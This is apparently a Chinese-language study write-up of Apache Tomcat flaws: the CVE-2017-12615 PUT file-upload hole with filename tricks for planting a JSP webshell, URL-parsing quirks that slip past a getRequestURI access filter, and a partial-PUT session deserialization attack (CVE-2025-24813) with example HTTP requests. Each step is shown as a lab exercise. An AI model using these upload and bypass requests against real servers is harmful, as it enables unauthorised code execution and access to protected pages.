前言
参考:
Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)
复现环境: https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/
版本限制:不确定,貌似是一个配置漏洞
漏洞成因:
/usr/local/tomcat/conf/web.xml
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
readonly设置为false,此时我们就可以使用 PUT 方法进行文件上传

返回201,说明成功上传
看一下 /usr/local/tomcat/webapps/ROOT 目录

可以看到刚才上传的test.txt文件
接下来尝试上传.jsp,返回404,应该是当成路径访问进行解析了

这里就需要进行绕过,有三种方法:
- Windows下不允许文件以空格结尾:以
PUT /a001.jsp%20 HTTP/1.1上传到 Windows 会被自动去掉末尾空格 - Windows NTFS流:
PUT /a001.jsp::$DATA HTTP/1.1\ /在文件名中是非法的,也会被去除(Linux/Windows):PUT /a001.jsp/ HTTP/1.1
这里只演示第三种:

成功上传,然后蚁剑getshell即可
Tomcat URL 解析差异性导致的安全问题
后台使用getRequestURI()或getRequestURL()函数来解析用户请求的URL时,若URL中包含了一些特殊符号,则可能会造成访问限制绕过的安全风险
HTTPServletRequest对URL的解析差异性
在Servlet处理URL请求的路径时,HTTPServletRequest有如下几个常用的函数:
request.getRequestURL():返回全路径;request.getRequestURI():返回除去Host(域名或IP)部分的路径;request.getContextPath():返回工程名部分,如果工程映射为/,则返回为空;request.getServletPath():返回除去Host和工程名部分的路径;request.getPathInfo():仅返回传递到Servlet的路径,如果没有传递额外的路径信息,则此返回Null;
设Servlet的匹配路径为/test%3F/*,并且Web应用是部署在/app下
此时请求的URL为http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID?p+1=c+d&p+2=e+f#a,则各个函数解析如下表:
| 函数 | URL解码 | 解析结构 |
|---|---|---|
| getRequestURL() | no | http://30thh.loc:8480/app/test%3F/a%3F+b;jsessionid=s%3F+ID |
| getRequestURI() | no | /app/test%3F/a%3F+b;jsessionid=s%3F+ID |
| getContextPath() | no | /app |
| getServletPath() | yes | /test? |
| getPathInfo() | yes | /a?+b |
特殊字符的URL解析
Tomcat中的URL解析是支持嵌入./、../、;xx/等特殊字符的
新建一个Java Web项目,1.jsp如下:
<%
out.println("getRequestURL(): " + request.getRequestURL() + "<br>");
out.println("getRequestURI(): " + request.getRequestURI() + "<br>");
out.println("getContextPath(): " + request.getContextPath() + "<br>");
out.println("getServletPath(): " + request.getServletPath() + "<br>");
out.println("getPathInfo(): " + request.getPathInfo() + "<br>");
%>
放在test目录下
正常访问
http://localhost:8082/test/1.jsp

插入 ./ 访问
插入多个./访问,即http://localhost:8082/test/./././1.jsp

接着尝试这种形式http://localhost:8082/test/.a/.bb/.ccc/1.jsp

返回404,未找到资源
插入 ../ 访问
插入../访问,即http://localhost:8082/test/../1.jsp

404,因为此时实际访问的是http://localhost:8082/test/1.jsp,也就说明进行了目录穿越
插入 ;/ 访问
插入多个;/访问,即http://localhost:8082/test/;/;/;/1.jsp

正常返回,同样的在;后面加字符串也能正常访问
调试
咕
攻击利用
遇到下面这种filter:
package filter;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;
public class testFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
String url = httpServletRequest.getRequestURI();
if (url.startsWith("/test/info")) {
httpServletResponse.getWriter().write("No Permission.");
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
此时我们如果想要访问 /test/info 下的文件,如/test/info/secert.jsp的话会被拦截返回No Permission
而根据前面的url解析我们可以得到下面这几种绕过的方法:
http://localhost:8080/test/./info/secret.jsp
http://localhost:8080/test/;aaa/info/secret.jsp
http://localhost:8080/test/aaa/../info/secret.jsp
Apache Tomcat RCE(CVE-2025-24813)
https://www.cnblogs.com/smileleooo/p/18772389
版本:
- Apache Tomcat 11.0.0-M1 至 11.0.2
- Apache Tomcat 10.1.0-M1 至 10.1.34
- Apache Tomcat 9.0.0-M1 至 9.0.98
条件:
conf/web.xml
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
conf/context.xml
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
PUT 方法默认启用
包含反序列化库
利用:
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录
work\Catalina\localhost\ROOT
在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
所以利用这个特点,可以分段上传覆盖或注入敏感文件,尝试下向默认存储位置 work\Catalina\localhost\ROOT 注入文件:
PUT /poc/session HTTP/1.1
Host: localhost:8080
Content-Range: bytes 0-1000/1200
{{(paylaod...)}}
Tomcat 对不完整的PUT请求上传时的文件名处理机制:文件路径中的分隔符 / 会被转换为 .
所以 ROOT 目录下成功写入的文件是 .poc.session
当 Payload 文件被上传成功后,大约 30s 之内就会被自动触发,随之该 session 文件被清除
也可以直接触发:
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.poc